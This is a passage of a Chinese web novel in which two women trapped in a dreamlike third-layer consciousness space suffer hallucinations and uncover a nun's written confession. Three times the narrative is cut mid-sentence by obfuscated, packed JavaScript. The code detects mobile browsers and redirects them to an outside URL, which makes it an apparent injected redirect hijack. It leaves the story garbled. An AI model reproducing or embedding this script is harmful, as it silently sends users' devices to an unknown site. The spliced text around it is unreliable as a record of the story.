“我……我也不知道为什么这次的悬赏必须要这个弹珠才行,谁会想要这种东西?和感冒了非要擦过的纸巾有什么区别?” 和泉口不择言地乱打比方,指指他们俩脖颈上的插头。 “悬赏人为此还给了我们很多黑科技来改造工具,本来我们的设备肯定连不上官方机器。” “就是你们在里面使用了能力却不会被监测到的技术吗?”安德问。 和泉老实地点点头:“还有进来文德尔港的渠道,也是他给的。” 太明显了,即使是和泉应该也能发觉出这就是个做出来的局。 安德只问了一句:“赏金真的很多?” “不,”和泉摇头,“没有赏金。他开出来的,只有一条线索。” 惠蹲在两个人边上,替他们把身上的碎石掸去。 和泉一边跟她道谢,一边请她从自己的口袋里取出一张纸,他的胳膊已经完全僵直了。 “这是他的头像,”和泉说,“本来那晚大姐只是在论坛上找委托挣零花钱,没想到在同城二手交换的评论区发现了这个头像,他给一个智能马桶圈写了好评。她私信,对方什么都没说,只给她发了这个悬赏的私人链接,价格部分只有两个字‘真相’。” 安德想起之前魏玛说过她要找一个人:“和你们之前说过的找人有关?” 惠把纸条拿出来之后,立刻递给了安德。 她摊开揉皱的纸,只飞快地瞥了一眼,就冷冷地看向和泉,示意他把应该说的话吐干净。 “大姐的妈妈失踪了。失踪的那一天,她看见了纸条上的画。” 安德蹲下来,检查了一下和泉的脖子。 “你能把武器一起带进去吗?”安德问。 和泉意识到救命的机会来了,他拖着身体用尽全力点头:“可以!我知道怎么做,姐姐你……尽管用我。” 安德在魏玛身边躺下。惠还带着那把枪,她提着小心翼翼站起来,守在了三个人的前面。 安德闭眼前又看了一眼那张纸条。上面画着神秘悬赏人的头像,金光流溢的三重同心圆。 . 安德从地上爬起来,手掌上沾满透明液体。 并不粘腻,看上去像胶状,但是手指一捻就会化开,闻上去有一股酒精的味道。 安德飞快熟悉一下环境。 一个巨大的房间,铺着潮湿的地毯。 目及之处都贴着毫无区别的壁纸,陈旧地泛着黄色。 悬在头顶的荧光灯有些昏暗。 四周寂静,唯有灯管接触不良,发出滋滋的噪音。 魏玛就坐在她两步以外的一个角落里,垂着头,一动不动,樱色长发黏在肩膀上。 身上没有伤口,仿佛只是在睡觉补充体力。安德走到魏玛身边,拍拍她的脸。 她慢慢睁开眼睛,望见了一张倒挂下来的脸,像一只正在观察鱼是否还有生命体征的小猫。 魏玛嘴里念念有词:“……真完蛋,我是做梦了?还是安德也下来陪我一起完蛋了?” “应该是后者吧。”安德回答她。 魏玛惊醒,抱住膝盖,一把用手指拨开额发:“你……你怎么也进这个人的‘婴儿房’了?” 安德看向她,没有回答。 “你现在知道第一层‘医院’和第二层‘工厂’了,这里是‘婴儿房’,也就是第三层。”魏玛在震惊之余没忘记先跟安德解释了一下。 “你的判断依据是什么?” 安德蹲下来,用手指抹过地毯,只摸到一堆水汪汪的纤维,别无他物。 “我先问你一个问题。你知道怎么从意识空间出去吗?”魏玛问。 “由担任神经中转站的那个部分切断连接,不论是人还是机器。”安德回答。 “答对了,但是不够全面。”魏玛说,“第一,意识空间很危险,变数很大。第二,人不可全信任,就算是纯机器都有坏了的时候。所以还有一条路,是身处空间的人自己可把握的。” 安德看着魏玛,听她继续讲下去。 “那就是去第三层,在第三层正确的地方做一件危险的事情。也就是说,在‘婴儿房’吓自己一下,必须是真的吓到。” 安德很快理解了,她想到了一部暑假在家看的电影:“比如,从高处跳下去?” 人易在梦中坠楼场景里醒来,是因生理反应、心理压力等多种因素刺激大脑,激活了自我保护机制。同时进化本能、身体感知与潜意识同时产生了协同作用,促使做梦的人意识从危险梦境中抽离。 “很聪明,跳下去,或者冷不丁砍自己一刀什么的。” 魏玛很满意对方的反应速度,但是声音很快低下去:“不过你一定要记得只有第三层才可以。如果不小心在浅层做了这些事情,很可能会死的。” “所以你去过第三层?” “……不仅去过,还在里面停留了过长时间。那次设备坏了,没有人帮我断联,只能铤而走险,下到了第三层。我当时几乎用了半条命才出去。” “你知道世界上最 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15718921|173859||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 难闻的味道是什么吗?是没有任何味道。同理,世界上最难听的声音是什么?是一片死寂。就像回到了这个世界最初的样子,什么都没有。没有尽头的房间,没有人的身影,一切都是那么抽象和模糊。” “时间久了,你就会怀疑自己的存在。我始终记得这种让人想吐的味道,这种绝望的安静,我甚至愿意多听几声灯泡接触不良的声音,或者死在一股酒精味的毛毯里。” 魏玛扯扯嘴角,举起手指向上:“这种情况,一般还伴随着失联。在第三层中,即使是最专业的执行员,都听不见中转站的声音。和泉现在也被屏蔽了。” 确实没有听见和泉的声音。 “问题是我们绝对不应该出现在‘婴儿房’!”魏玛说。 “再怎么说,都不会有专业人员错把位置定到第三层来的。他们有专业设备,接入和断开都不用靠人,应该更专业,怎么会用到第三层这种下下策?” “所以你最后选择睡觉?”安德问。 魏玛嘴唇发白,精神看上去很不好:“对,实不相瞒,我做好了等死的准备。” “就非要找死?” 安德确实一直没有听见和泉说话。这里只有断断续续的荧光灯噪音,听久了耳朵发麻。 魏玛怔住了,她突然直起身体,捂住了脑袋。 她的情绪起伏太大了,一会儿处在焦虑与急迫中,一会儿又处在绝望和痛苦中。如果说这些感情就像海浪,她的理智已经被淹没了大半。 为什么会这样呢?魏玛有些诧异。 如果说她的PI值一直处在健康的区间,那么一定有一瞬间是爆发性偏移的。 魏玛不是生性那么莽的人,一直都明白留得青山在的道理,从不争冒进的的蝇头小利。 她有些愣愣地回忆起进来之前,本来一直在小心地等安德回来,突然就盯着破旧的仪器鬼迷心窍了,看见插孔处旋转着一个小小的、诡异的黑洞。 她仿佛看见自己在某个傍晚迷失街头,抱着娃娃。 那天,四周飘着红色雾海,什么也看不清楚,雨滴打在街上大大小小的车窗上。楼宇间飞过了成群结队的鸟。 就是这样一轮黑色的月亮隐在高楼大厦后面,爬上天空而后渐渐分裂,重叠成三个。它们在流血,血向四面八方流散。 魏玛想要钻进来,回到那天。她受到了这个空间的引诱。 “你先站起来。”安德说。 “我没在跟你撒娇。我花了很多钱才治好这段记忆。现在虽然忘记了,但身体还有很强的应激反应,”魏玛把手放在自己腿上,“我现在特别恶心,腿也麻了。” 话是这么说,但能看出来她在努力尝试站立了。 安德一边往前走,想到魏玛所说的“治好”,应该就是黑诊所采取了类似手段,进入意识表层进行删除。 怪不得表层要叫“医院”。 这个世界里的人真的很依赖在所谓的“意识”上动手脚。精神上的不适就像算法出错,花钱删掉就好。 即使用不起正版的,也会想办法用盗版。这就是他们的生存逻辑。 16. 守望者(三) 安德摘下腰上的窗帘绳子,摆在脚下。 魏玛踉踉跄跄地跟过来,嘴上说着别走太快。 实在太安静了,又太空旷了。 天花板上贴着规律的黄色的墙纸。什么都没有,无数相同的房间。不知道自己走到了哪里,是否又走回了原地。 安德确认了一下墙上的大小霉斑,有的地方被划出不规则的豁口,像是人手抓过的痕迹。 走了很久,那捆船上带下来的绳索,正躺在她们的前方。魏玛看看手腕上的计时器,差不多三个小时。 只不过这一次,有一张桌子出现了。 桌子非常普通,边缘处有些脱漆。有支圆珠笔横在桌面上,塑料笔杆老化裂开了。 “这群原始人还用圆珠笔?”魏玛吃惊。 桌腿与地面接触处积着薄灰,灰尘分布均匀。最底层的抽屉卡死,拉动时整个桌子跟着一挪,声音极其刺耳。 前方还是原来的走廊,左边和右边依旧一模一样。门框每隔十分钟的路程就出现一次,门板全部紧闭着。 地毯吸饱了酒精和水汽,每步抬脚时它的表面缓慢回弹,却在完全复原前凝固成新的凹陷,于是她们身后拖着一串脚印。 但是前面是什么都没有的,每次在前面重新看到绳索,它的附近都没有脚印。 魏玛说这里的味道给她一种恐惧,就像身体记忆。因为这里什么怪异味道都没有。只有一些酒精味偶尔散发开来,认真去闻就会消失。 要是这个时候能闻到一些明显的味道就好了。 不论是海水的咸腥,还是搁浅的某种尸体泡发的微生物气息,只要足够刺激就行。 耳朵长时间沉浸在单调重复的噪音里,快要聋了。 重新回到绳索这里。桌上多了一张写了字的纸。魏玛走到桌前拿起它,上面写满了密密麻麻的蝇头小字。 【今天下雨了。我怎么找不到你?为此我还去了海边。但是为什么它总是一望无际?】 【我已经很久没有见到你了,我会很想你。我不记得我是什么时候认识你的了,不过没关系。我给你准备了礼物。】 【我能做的事情太少了。难道我们被你抛弃了?】 安德发现这次桌子下面的灰尘不见了。最底层的抽屉可以拉开,生锈处已经用油涂抹过,这些都是人为清理的痕迹。 “还是基里尔?” “不是,基里尔已经死了,我们在另一个人的意识里。” “不止一个人?”安德停下。 “对……根据我经验,我们之前认错boss了。”魏玛苦涩一笑。 安德没接话。 “这意识体挺爱干净的,”魏玛看到安德开始检查灰尘,“你认识这里的人中间,有没有特别喜欢打扫卫生的?” 安德半跪在地上,想到了什么,掀起地毯的一角。 “吐这里。”她抬头看着魏玛。 魏玛紧张的时候喜欢吃东西,所以她一直在嚼一块薄荷味的口香糖。 “好吧,情势所迫。你出去以后别和别人说我不讲卫生。” 一块蓝色的口香糖被盖在地毯下。 两个人继续往前走。安德一边走一边将她们路过的房间全部拧开把手,让它们呈现出不同的开合程度。 “魔鬼。”魏玛吐槽了一句。 “走快点。”安德说。 墙壁中出现了轻轻的呼吸声,无穷无尽的墙纸在规律起伏,如腹部随着呼吸而微弱鼓动。 荧光灯发出的噪音在不知不觉间发生变化,听上去就像有人在写字,笔尖发出刮擦黑板的吱吱声。 再次回到桌子前,边上放着铁桶。 桌上的纸换了。这次每个字都写得歪歪扭扭,像是书写者在极度害怕中写下。 【我不想再打扫了,但是灰尘越来越多了。】 【能救救我吗?我不想死,不想装傻,也不想在这个充满谎言和恐惧的世界里继续挣扎。】 “这人在赶时间,所以卫生没有打扫完?”魏玛问。 门全关上了。地上还有浅浅的脚印,漫着反光的水渍,倒映着天花板上密密麻麻的荧光灯,像无数只苍白的眼睛。 安德点头,把那桶消毒水提起来,泼在地上。魏玛抄起桌上那瓶墨水就和安德更加快速地往前走。 一条深浅不一的墨水渍流淌在她们身后无尽的长廊。 墙壁上的霉斑越来越大,魏玛只是看了一眼,就觉得身上痒起来。 门与门的间距在不断扩大,斑驳的漆块在往下掉,露出底下更陈旧的砖头,缝隙生长着黄色菌丝。 天花板的阴影收缩成一条直线,墙纸涨起大大小小的鼓包。 阴影流下来,挂在墙壁上,样子就像一个佝偻的人形,跟着她们往前移动,墙里发出敲击地面的脚步声。 魏玛发现周围温度在下降。 她感到一种难以言喻的空虚,只剩下躯壳在机械地、毫无意义地跟着安德在往前走。走了第几个小时了?不知道,她的计时器早就不转了。 “我今天出门才洗了澡的,”魏玛抓紧自己的手臂,“怎么会这么痒?” 手臂更痒了。 是无数只蚂蚁在皮肤上爬行的感觉。 魏玛下意识地抬起手臂,手指隔着衣服胡乱抓挠。可还是很痒,她只能从袖口伸进手指掐住皮肤。 她并不怕疼痛,只希望这种瘙痒能消失。 安德好像跟她距离越走越大了。 魏玛不知道为什么,短短一辈子悲伤的事情都涌上她的心,甚至愈发强烈。 她紧紧捏着墨水瓶子,强迫自己将注意力集中流出的黑色液体上,不要去胡思乱想。 然而那种痛苦的空虚感却像海水倒灌进了她的肺,让她吞咽都困难。 “我绝对是洗了澡的,”魏玛喃喃自语,“难道我没有洗吗?” 突然,魏玛感到背后似乎有什么东西在蠕动。 她猛地转身,却什么也没有看到。她的心跳加速,呼吸也变得急促起来,害怕真有什么脏东西附着在她的身上。 这次桌子上的纸皱皱巴巴,只剩下了一句话。 【你是谁?】 安德知道魏玛走在后面,因为她偶尔会问安德能不能主动跟她说说话,说她有点幽闭恐惧症。所以听到她说话,就会回答她一句。 但安德反应过来,魏玛已经很久没有 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15718922|173859||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 和她说话了。 此时,天花板上方传来低沉的哀哀哭泣声。 魏玛出现了幻觉。 她想象着肥皂的泡沫在皮肤上堆积,形成一层厚厚的白色。于是用尽全力清洗着,恨不得蜕去那层皮。 可那些看不见的污秽是无法被洗掉的。无论她怎么努力,那种痒意始终如影随形,还在一层层往下渗透,融入了她的血液,成为她身体的一部分。 安德看见魏玛还站在那道走廊里。 弓着腰,眼神迷茫。 不过十几分钟的时间,安德觉得魏玛看上去憔悴了很多。 只见她胳膊上流着血,手指僵直着哆嗦,右手无名指的指甲劈得只剩下一截秃秃的残根。好像还沉浸在幻想里,一遍又一遍地重复着那些搓洗的动作。 她冷不丁抬起头,眼神中带着一种近乎恳求的迷茫,声音微弱:“安德,你……你难道不痒吗?” 安德下意识地摇了摇头。 她继续追问:“真的没有吗?” 安德脑海里重复了一下魏玛的问题。 痒。 痒吗? 难道不痒吗? 安德感觉到了手臂上有了异样。 那是一种轻微的、几乎可以忽略的痒,但在这个压抑的氛围中,它却显得异常清晰。 魏玛看上去痛苦地快哭了,怪不得她害怕“婴儿房”。安德拍拍她的脸,没有反应。 “对,我也很痒。”安德说。 “真的?”魏玛眼睛睁大。 “真的。”安德伸出胳膊,装模作样地抓抓。 魏玛眼神呆呆的,脸上安心的表情让人感到一种诡异的宁静。仿佛她终于找到了一个可以共享痛苦的对象,一个同样被折磨的灵魂。 她的表情不再那么紧张。精神稍许恢复到了平静中,不再那么疯狂地抓挠自己。 “我会陪你找一个洗澡的地方,”安德说,“听到水声了吗?那就是澡堂。” 天花板啪嗒啪嗒往下漏水,但是魏玛辨别不出来,只顾着点头。 这次出去要是再去黑诊所“治”一次心理阴影,不会就傻了吧。安德有点可怜她了,即使对方一直藏着小心思。 “你知道你现在该做什么吗?”安德说。 魏玛又疲惫又充满希望地问:“什么?” “没有和泉,你也能导航的吧?”安德面无表情地看着魏玛,“想快点结束这一切,就全都跟我说实话。不要再打算独吞什么了,你一个人搞不定的。” 魏玛不吭声了。 “要是真的不会导航,就只能麻烦你一个人在这里等死了。”安德说。 “得找个破绽,现在的房间太结实了,”魏玛终于开口,“我扎不透。” 安德还想再问点什么,却发现对方肩膀一抽一抽地动。 “我还想要个痒痒挠。”魏玛哭出来。 安德想起之前隔壁班有个男生,在老家菌子吃多了也是这样。他哥们为此发了好几条朋友圈嘲笑他。 拎着魏玛的领子,安德抽出结实的绳索,三花两绕将她用消防结扣在自己背上。 “我会折磨这个人的。你等破绽。”安德说。 17. 守望者(四) 地毯的一角被猛地提起,透明液体顺着滴落,发出“滴答”声。 提地毯的人用力一拽,地毯被翻转过来。 安德提着地毯一路向前拖去,水渍在地板上留下一条长长的痕迹,成功与某种对洁净的追求形成鲜明对比。 在拖动的过程中,随着翻卷起来的部分越来越多,液体逐渐变得浑浊起来。 这些液体似乎已经在这片地毯下隐藏了许久,它们从地毯的缝隙中缓缓渗出。 它们变成令人不安的深褐色,夹杂着流动的黑色斑点,像是腐烂的泥土。 地毯越来越重了。 浑浊黏腻的液体在地毯的纤维间缓缓流淌,这种流动格外缓慢。每一滴都在抗拒,安德只能加大拖拽的力度,她感觉自己在掀开某种生物的头皮。 液体的表面还漂浮着一些细小的杂质。魏玛趴在安德肩膀上,感觉那些灰尘在扭动,甚至可以攀缘着视线迅速爬进眼珠。 她的眼睛也开始发痒了。 地毯下面蠕动着,发出“咕叽咕叽”的声音。 “我有感觉,这里的信号屏蔽能力在变得衰弱。”魏玛小声说。 安德拖拽着地毯嗯了一声。 “还有点时间,”安德说,“你没事做的话,给我讲讲你常去的澡堂吧。” 魏玛不理解,但她实在没有力气去问原因了。于是回想某个无所事事的傍晚,她结束了繁杂的工作,走进熟悉的建筑。 静谧的洗浴空间,温热的水汽,空气中弥漫着木香。 池水在灯光下泛着柔和的光泽。水面上漂浮着几片新鲜的樱花瓣。身体的每一个细胞都在呼吸、在放松,痒意在温暖的水流中一点点消散。 注意力转移了,她感觉自己的灵魂被这个场景强行召回。 安德再次站在桌子前面。 正对着她们俩的那块霉斑变得硕大,那是一只眼睛的形状。 眼珠微微凸起,瞳孔紧紧收缩,在极度恐惧中凝视着什么。它控诉着正经历的某种极度痛苦,却又无法发出任何声音。 “我不知道正经应该怎么治,我只知道一种暴露疗法,而且还不太合规,”安德盯着那只眼睛,“如果你不喜欢我这样没轻没重的,就抓紧放我们出去。” 桌上的纸还是原来那张,只是底部又重复写了一遍问题。 【你是谁?】 魏玛沉浸在幻想中了,一动不动低着头微笑。 安德拿起一边的笔,笔杆上有手汗。时间太久,凝固成了一层黏腻透明的胶膜。 【我是安德】 安德看着这几个字,想了想,然后继续写了下去。 【我是安德利亚斯】 这里不会有人不喜欢这个名字,至少这是一个人人见到都会应激的名字。 安德写完之后,提着毯子继续她的暴行。 整条走廊的地毯都被拖着往前,令人窒息的气味终于散发出来。那是一种混合了霉变、腐臭和潮湿的复杂味道,让人联想到垃圾堆或者久未清理的下水道。 这回,房间的主人什么都没有再打扫了。 这只霉斑眼睛的周围墙面,有一圈圈扭曲的豁口,像是被高温烧灼过,又像是被某种未知的液体腐蚀过。 这些痕迹围绕着眼睛,是它痛苦的延伸。它在痛哭。 这次摆在桌子上的不再是一张便签式的纸条了,而是一份手稿。字迹非常工整,似乎有人坐在这里认真写完了它。 【我要讲述关于我的三件事。】 【第一件事,是我说了谎。】 【这么多年了,我一直告诉别人,他们走的时候没有通知我。我无父无母,又内向古怪,抛下我是完全能够理解的事情。但其实不是这样的,我骗了所有人。 那天夜里,我怕他们找到我,只能躲在了柜子里,直到他们的船开得远了,我才一个人回到岸上。那么多年,我一直没有忘记那个场景,他们离开岛的夜晚,我刚满二十岁。 我必须留下,这是母亲交给我的最后一件事。 我对她的记忆相当少了,只记得她在我很小的时候,就带我去教堂,告诉我,我们的灵魂都是漂浮在冰海上,安德利亚斯有朝一日会回来拯救这个世界。江上一族会陪伴着永恒的主,职责一代一代地传递下去,交到最好的每个后代手里。在那之前,她会一直守望着这座岛。她说她死后,我将是文德尔港的下一个守望者,而愚蠢的金发基里尔不堪重任。 但是这样的事情,对我来说还是太难了。我突然想起我从小时候就把你当作朋友。尽管人人说您是我们的主。但是小孩子总是需要玩伴,而我住在教堂里,没有玩伴。从七岁第一次跟随父母到教堂听祷告的时候,我就开始偷偷和壁画上的您讲话了。小孩子总是话很多,您是我童年幻想的朋友。 我遵循主教的嘱托,日日勤劳地清扫礼拜堂,等你来玩。希望您能原谅我的僭越,我心里暂存的这一份期望,希望您能来,我会每天洒扫。】 【第二件事,是我仍然记得见到玛蒂尔德的那天。】 【她是岛外来的人,老阿列克谢先生出海捡到了她。她被安排在教堂二层的客房,我被派去照顾她。自从族人们离开后,每天只有祷告、忏悔与布道的教堂工作需要我来做。很久没有人和我说话了,玛蒂尔德却喜欢和我说话。 我记事以来,从来没有见过一个人能在未知的探索中沉浸得如此之深。她孜孜不倦地改造着很多东西,让我们生活得更好了。即使她很想家,但仍然沉浸在学习和写作之中,不厌其烦地带领我阅读。对于在岛上出生的我来说,那是一种关于“可能性”的教育。她听不见信众们的悲泣,也看不见穹顶壁画有些泛黄。她的眼睛看的太远了,远到未知的彼岸。 我和她说起年幼时就在老主教的教导下学习。我说我如今依然坚信,只要守住这座岛,我就能等待到我的主!我谈起数年承受的各种痛苦,各种为了磨砺自我的惊人努力,是因为我选择一切致使我通向神的小径。说完后我却害臊了,我的故事远远不如玛蒂尔德讲的有意思,甚至有些苍白和无聊。 但她听我谈起教堂的故事,反而兴趣盎然。她说她虽然是个无神论者,但对于一个永恒的神来说,我那么多年保持着至高的美好愿景,已经足够好。和她在一起的时候,孤独的命运被远远抛到身后,远到我想不起来。】 【第三件事,是我小时候就可以看到幽灵。】< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15726842|173859||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>【幽灵?我不知道这个词是否合适。或许我应该说,人类心灵最深处的幽灵——“原型”。 这几十年,我在锡安颂恩教堂,听过了太多人的愁苦与希望,忏悔与祈祷。我记得他们说下的无数话语,而这些祈祷里藏着文德尔所有灵魂。我守护着它们,就像浇灌着植物,等待着长成粮食。 我发现的时候已经很迟了,这个岛上出现了“原型”。而它们来自我最重要的两个人,基里尔主教和冯老师,我亲爱的玛蒂尔德。他们不熟悉这种能力,控制不了它们,所以他们的灵魂生了病。 我不想让她继续去和“原型”打交道,这在我理解中是致命的。母亲说,灵魂是人的“禁区”,不应该随便踏足。从小时候我就常常坐在岸上,凝视着远处,望着海的那一边,头顶上正对冰原萧瑟的星空。人们无意识的灵魂对我来说就像这点点星空。但是生病的灵魂不是这样的,它们漆黑、血红,流着痛苦的眼泪。 我在她睡着后,走进她的房间,满头冷汗地模糊字迹,用左手在她记录灵魂实验的本子上写下警告。我写:不要思考!不要思考!不要思考!不要去回忆它的形状,不要去怀疑它是真的,不要去猜测它是什么。它会发现。 如果不是玛蒂尔德陪我说话,我都忘记了我也会开心。作为江上一族留下的观测者,我干涉了。我为了人生中这么一点小小的温暖,做出了一生中唯一一次违抗。 可后来冯老师说她做错了事情,不愿意见我,基里尔则在偷偷地复仇。我失败了。我不再具有那种含着信心的表达,我完全扮演着一种压抑、虚伪与无意义。我不想再出门去,我觉得我的房间有许多灰尘需要清扫。 有时候我在想,安德利亚斯,您要怎么救世呢?是像我小时候偷偷哭泣的时候,站立在光辉灿烂的穹顶上温柔地俯视我那样吗?母亲说这份能够看到灵魂的能力,是您的礼物。因为这份偏爱,我愿意等您到最后,再亲自向您告罪。】 原来这里叫锡安颂恩教堂,安德沉默地拿着手稿。 她伪装了那么多年,为什么情不自禁地暴露了漏洞。安德在想,可能在一张安德利亚斯的脸面前,她是开心的吧。 原来她从来就不是生来老实木讷,也不是生来就一丝不苟地爱干净。只是从很小的时候起,她就习惯了走在队伍最后。 像个站在树荫下的牧羊人,数着前面的小羊,确保没有掉队,没有落单。 她暗中看护着基里尔,如同养着一只领头羊。 那种贯穿一生的身份伪装,那些宏大的责任,那些沉重的担当,落在她身上时,她还是个小孩呢。 刚刚经历了基里尔发疯,她对待命运的冷静让安德难以理解。只有在意识空间第三层,安德才知道她在心里偷偷地哭泣。 安德才刚刚问过她要不要一起过新的生活,这么快就成了威胁到生命的敌人。 一起生活这句话很慎重,却还是太轻。 荧光灯的噪音越来越大,有一种信号接触不良的动静混杂在里面。 忽大忽小,断断续续,是壁垒在溃散的表示。和泉的声音穿透层板,重新回到她们的身边。 【魏玛大姐!安德姐姐!那个修女……修女跑了!】